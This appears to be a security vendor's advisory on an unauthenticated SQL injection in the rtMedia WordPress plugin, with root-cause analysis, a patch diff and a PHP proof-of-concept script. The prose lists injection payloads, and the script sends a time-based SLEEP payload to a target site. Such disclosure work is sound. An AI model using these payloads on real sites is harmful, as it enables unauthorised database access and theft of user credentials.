Published : August 10, 2026

CVE-2026-59549: rtMedia for WordPress, BuddyPress and bbPress <= 4.7.10 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 4.7.10
Patched Version 4.7.11
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-59549: This vulnerability is an unauthenticated SQL injection in the rtMedia for WordPress, BuddyPress and bbPress plugin, affecting versions up to and including 4.7.10. The flaw exists in the media search functionality and the model query builder, allowing attackers to append malicious SQL statements. The CVSS score is 7.5, and the vulnerability is classified under CWE-89 (SQL Injection).

Root Cause: The plugin fails to properly sanitize user-supplied parameters before using them in SQL queries. In RTMediaModel.php, the `$order_by` parameter is built by concatenating `$order_column` and `$order_direction` without verifying that the input contains only valid tokens. Specifically, the vulnerable code (before line 122) exploded `$order_by` into two parts, but did not validate that there was no additional content after the direction. If an attacker supplied an order parameter like `media_id desc, (SELECT SLEEP(5))–`, the validation would pass if the first two tokens are acceptable, leaving the trailing SQL intact. The filter file, rtmedia-filters.php, also contains multiple direct interpolations of user input into SQL queries, including `$rtmedia_current_album`, `$media_type`, `$search`, `$author_id`, and `$member_type`. These are inserted into `$where` clauses without proper preparation or escaping, allowing SQL injection payloads to be appended.

Exploitation: An attacker can exploit this vulnerability without authentication by sending crafted HTTP requests to the media search functionality. The vulnerable parameters include `search`, `search_by`, `media_type`, `rtmedia-current-album`, and the `order_by` parameter used in the model. For instance, an attacker could craft a request to the media listing page with `order_by` set to `media_id desc,(SELECT SLEEP(5))–` to cause a time-based SQL injection, extracting data character by character. Additionally, the search filters allow injecting SQL via the `search` parameter when `search_by=title` or `description`, using patterns like `’ OR ‘1’=’1` to manipulate the WHERE clause. The `author_id` and `member_type` values, although generated by server-side functions, were not sanitized in the vulnerable version, allowing injection through user profile data or other means.

Patch Analysis: The patch introduces several key changes. In RTMediaModel.php, it adds an `$allowed_order_dirs` array and reconstructs `$order_by` from validated tokens only, discarding any trailing content. This prevents injection via the order parameter by ensuring only `asc`, `desc`, or an empty string are used for direction. In rtmedia-filters.php, the patch uses `$wpdb->prepare()` for all dynamic SQL fragments, properly escaping user input. For `$author_id` and `$member_type`, it applies `absint` and `array_filter` to ensure only integer IDs are used. The `like` clauses now use `$wpdb->esc_like()` to escape wildcard characters. Additionally, in rtmedia-functions.php, the `implode` calls for `$user_id` and `$member_id` now include `array_map(‘absint’)` to sanitize each ID. These changes ensure that all user-supplied data is either validated, escaped, or used in prepared statements, preventing SQL injection.

Impact: Successful exploitation of this SQL injection vulnerability allows an unauthenticated attacker to execute arbitrary SQL queries against the WordPress database. This can lead to the extraction of sensitive information, including usernames, password hashes, and user email addresses. In more severe scenarios, an attacker could potentially escalate privileges by modifying user data, or achieve remote code execution if the database user has file write permissions and the attacker can write a webshell. The severity is high due to the low complexity and no authentication requirement, making it a critical risk for affected sites.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/buddypress-media/app/helper/RTMediaModel.php
+++ b/buddypress-media/app/helper/RTMediaModel.php
@@ -122,19 +122,17 @@
 		$qgroup_by = ' ';

 		$allowed_order_columns = array( 'media_id', 'media_title', 'file_size' ); // Define allowed columns.
+		$allowed_order_dirs    = array( 'asc', 'desc', '' );
 		list( $order_column, $order_direction ) = explode( ' ', $order_by . ' ' ); // Default to space if no direction provided.

-		if ( ! in_array( strtolower( $order_column ), $allowed_order_columns ) || ! in_array(
-			strtolower( $order_direction ),
-			array(
-				'asc',
-				'desc',
-				'',
-			)
-		) ) {
-			$order_by = 'media_id desc'; // Default order.
+		if ( ! in_array( strtolower( $order_column ), $allowed_order_columns, true ) || ! in_array( strtolower( $order_direction ), $allowed_order_dirs, true ) ) {
+			$order_column    = 'media_id';
+			$order_direction = 'desc';
 		}

+		// Reconstruct order_by from validated tokens only to prevent injection via trailing content.
+		$order_by = trim( $order_column . ' ' . $order_direction );
+
 		if ( $order_by ) {
 			$order_by  = esc_sql( $order_by );
 			$qorder_by = " ORDER BY {$this->table_name}.{$order_by}";
--- a/buddypress-media/app/main/controllers/template/rtmedia-filters.php
+++ b/buddypress-media/app/main/controllers/template/rtmedia-filters.php
@@ -747,13 +747,15 @@

 	if ( function_exists( 'rtmedia_media_search_enabled' ) && rtmedia_media_search_enabled() ) {

+		global $wpdb;
+
 		$raw_search = wp_unslash( filter_input( INPUT_GET, 'search', FILTER_SANITIZE_FULL_SPECIAL_CHARS ) );

-		if ( 'string' !== gettype( $raw_search ) ) {
+		if ( ! is_string( $raw_search ) ) {
 			$raw_search = '';
 		}

-		$search                = sanitize_text_field( urldecode( $raw_search ) );
+		$search                = sanitize_text_field( $raw_search );
 		$search_by             = sanitize_text_field( wp_unslash( filter_input( INPUT_GET, 'search_by', FILTER_SANITIZE_FULL_SPECIAL_CHARS ) ) );
 		$media_type            = sanitize_text_field( wp_unslash( filter_input( INPUT_GET, 'media_type', FILTER_SANITIZE_FULL_SPECIAL_CHARS ) ) );
 		$rtmedia_current_album = sanitize_text_field( wp_unslash( filter_input( INPUT_GET, 'rtmedia-current-album', FILTER_SANITIZE_FULL_SPECIAL_CHARS ) ) );
@@ -762,6 +764,9 @@
 			$author_id   = rtm_select_user( $search );
 			$member_type = rtm_fetch_user_by_member_type( $search );

+			$author_id   = implode( ',', array_map( 'absint', array_filter( explode( ',', $author_id ) ) ) );
+			$member_type = implode( ',', array_map( 'absint', array_filter( explode( ',', $member_type ) ) ) );
+
 			if ( ! empty( $rtmedia_current_album ) ) {
 				$where = '';
 			}
@@ -770,17 +775,17 @@
 			if ( ! empty( $search_by ) ) {

 				if ( ! empty( $rtmedia_current_album ) ) {
-					$where .= " $table_name.album_id = '" . $rtmedia_current_album . "' AND ";
+					$where .= $wpdb->prepare( " $table_name.album_id = %d AND ", absint( $rtmedia_current_album ) ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 				}

 				if ( ! empty( $media_type ) && empty( $rtmedia_current_album ) ) {
-					$where .= " $table_name.media_type = '" . $media_type . "' AND ";
+					$where .= $wpdb->prepare( " $table_name.media_type = %s AND ", $media_type ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 				}

 				if ( 'title' === $search_by ) {
-					$where .= " $table_name.media_title LIKE '%" . $search . "%' ";
+					$where .= $wpdb->prepare( " $table_name.media_title LIKE %s ", '%' . $wpdb->esc_like( $search ) . '%' ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 				} elseif ( 'description' === $search_by ) {
-					$where .= " post_table.post_content LIKE '%" . $search . "%'";
+					$where .= $wpdb->prepare( " post_table.post_content LIKE %s ", '%' . $wpdb->esc_like( $search ) . '%' );

 				} elseif ( 'author' === $search_by ) {
 					if ( ! empty( $author_id ) ) {
@@ -796,24 +801,24 @@
 			} else {

 				if ( ! empty( $rtmedia_current_album ) ) {
-					$where .= " $table_name.album_id = '" . $rtmedia_current_album . "' AND ";
+					$where .= $wpdb->prepare( " $table_name.album_id = %d AND ", absint( $rtmedia_current_album ) ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 				}

 				if ( ! empty( $media_type ) && empty( $rtmedia_current_album ) ) {
-					$where .= " $table_name.media_type = '" . $media_type . "' AND ";
+					$where .= $wpdb->prepare( " $table_name.media_type = %s AND ", $media_type ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 				}
 				$where .= ' ( ';
-				$where .= " $table_name.media_title LIKE '%" . $search . "%' ";
+				$where .= $wpdb->prepare( " $table_name.media_title LIKE %s ", '%' . $wpdb->esc_like( $search ) . '%' ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 				if ( ! empty( $author_id ) ) {
 					$where .= " OR $table_name.media_author IN  (" . $author_id . ') ';
 				}
 				if ( ! empty( $member_type ) ) {
 					$where .= " OR $table_name.media_author IN  (" . $member_type . ') ';
 				}
-				$where .= " OR post_table.post_content LIKE '%" . $search . "%'";
+				$where .= $wpdb->prepare( " OR post_table.post_content LIKE %s ", '%' . $wpdb->esc_like( $search ) . '%' );

 				if ( empty( $media_type ) ) {
-					$where .= " OR $table_name.media_type = '" . $search . "' ";
+					$where .= $wpdb->prepare( " OR $table_name.media_type = %s ", $search ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 				}

 				$where .= ' ) ';
@@ -822,12 +827,12 @@

 			// Reset data for album's media.
 			if ( '' !== $search && ! empty( $rtmedia_current_album ) ) {
-					$where .= " AND $table_name.album_id = '" . $rtmedia_current_album . "' ";
+					$where .= $wpdb->prepare( " AND $table_name.album_id = %d ", absint( $rtmedia_current_album ) ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 			}

 			// Reset data for particular media type.
 			if ( ! empty( $media_type ) && empty( $rtmedia_current_album ) ) {
-				$where .= " AND $table_name.media_type = '" . $media_type . "' ";
+				$where .= $wpdb->prepare( " AND $table_name.media_type = %s ", $media_type ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 			}
 		} // End if.
 	} // End if.
@@ -871,10 +876,14 @@
 			$request_uri = rtm_get_server_var( 'REQUEST_URI', 'FILTER_SANITIZE_URL' );
 			$request_url = explode( '/', $request_uri );
 			if ( ! empty( $search_by ) && 'attribute' === $search_by && ! in_array( 'attribute', $request_url, true ) ) {
-				$join .= " 	INNER JOIN $posts_table ON ( $posts_table.ID = $table_name.media_id AND $posts_table.post_type = '$media_type' )
-		                    INNER JOIN $terms_table ON ( $terms_table.slug IN ('" . $search . "') )
+				$join .= $wpdb->prepare(
+					" 	INNER JOIN $posts_table ON ( $posts_table.ID = $table_name.media_id AND $posts_table.post_type = %s )
+		                    INNER JOIN $terms_table ON ( $terms_table.slug = %s )
 		                    INNER JOIN $term_taxonomy_table ON ( $term_taxonomy_table.term_id = $terms_table.term_id )
-		                    INNER JOIN $term_relationships_table ON ( $term_relationships_table.term_taxonomy_id = $term_taxonomy_table.term_taxonomy_id AND $term_relationships_table.object_id = $posts_table.ID ) ";
+		                    INNER JOIN $term_relationships_table ON ( $term_relationships_table.term_taxonomy_id = $term_taxonomy_table.term_taxonomy_id AND $term_relationships_table.object_id = $posts_table.ID ) ",
+					$media_type,
+					$search
+				); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 			}
 		}
 	}
--- a/buddypress-media/app/main/controllers/template/rtmedia-functions.php
+++ b/buddypress-media/app/main/controllers/template/rtmedia-functions.php
@@ -4324,7 +4324,7 @@
 		}
 	}

-	$user_id = implode( ',', $user_ids );
+	$user_id = implode( ',', array_map( 'absint', $user_ids ) );
 	return $user_id;
 }

@@ -4357,7 +4357,7 @@
 				array_push( $member_id, bp_get_member_user_id() );
 			}
 		}
-		$member_id = implode( ',', $member_id );
+		$member_id = implode( ',', array_map( 'absint', $member_id ) );
 	}

 	return $member_id;
--- a/buddypress-media/index.php
+++ b/buddypress-media/index.php
@@ -3,7 +3,7 @@
  * Plugin Name: rtMedia for WordPress, BuddyPress and bbPress
  * Plugin URI: https://rtmedia.io/?utm_source=dashboard&utm_medium=plugin&utm_campaign=buddypress-media
  * Description: This plugin adds missing media rich features like photos, videos and audio uploading to BuddyPress which are essential if you are building social network, seriously!
- * Version: 4.7.10
+ * Version: 4.7.11
  * Requires at least: 4.1
  * Text Domain: buddypress-media
  * Author: rtCamp
@@ -22,7 +22,7 @@
 	/**
 	 * The version of the plugin
 	 */
-	define( 'RTMEDIA_VERSION', '4.7.10' );
+	define( 'RTMEDIA_VERSION', '4.7.11' );
 }

 if ( ! defined( 'RTMEDIA_PATH' ) ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-59549 - rtMedia for WordPress, BuddyPress and bbPress <= 4.7.10 - Unauthenticated SQL Injection

$target_url = 'http://example.com'; // Replace with the target WordPress site URL

// Use cURL to send a crafted request to the media search functionality
$ch = curl_init();

// Set the target endpoint. The media search is performed via the main WordPress query, so we add parameters to the URL.
$url = $target_url . '/?rtmedia_search=' . urlencode('test') . '&search_by=' . urlencode('title') . '&search=' . urlencode("' OR SLEEP(5)-- ");

// Alternatively, if the plugin uses a dedicated AJAX endpoint, use admin-ajax.php:
// $url = $target_url . '/wp-admin/admin-ajax.php?search=' . urlencode("' OR SLEEP(5)-- ");

curl_setopt_array($ch, [
    CURLOPT_URL => $url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_MAXREDIRS => 5,
    CURLOPT_TIMEOUT => 10,
    CURLOPT_USERAGENT => 'Atomic-Edge-PoC',
]);

// Execute the request and measure the response time
$start = microtime(true);
$response = curl_exec($ch);
$end = microtime(true);
$elapsed = $end - $start;

if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    echo 'Request completed in ' . round($elapsed, 2) . ' seconds.n';
    if ($elapsed > 4) {
        echo "[+] Potential SQL Injection confirmed (time-based).n";
    } else {
        echo "[-] No notable delay, vulnerability may not be present.n";
    }
}

curl_close($ch);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.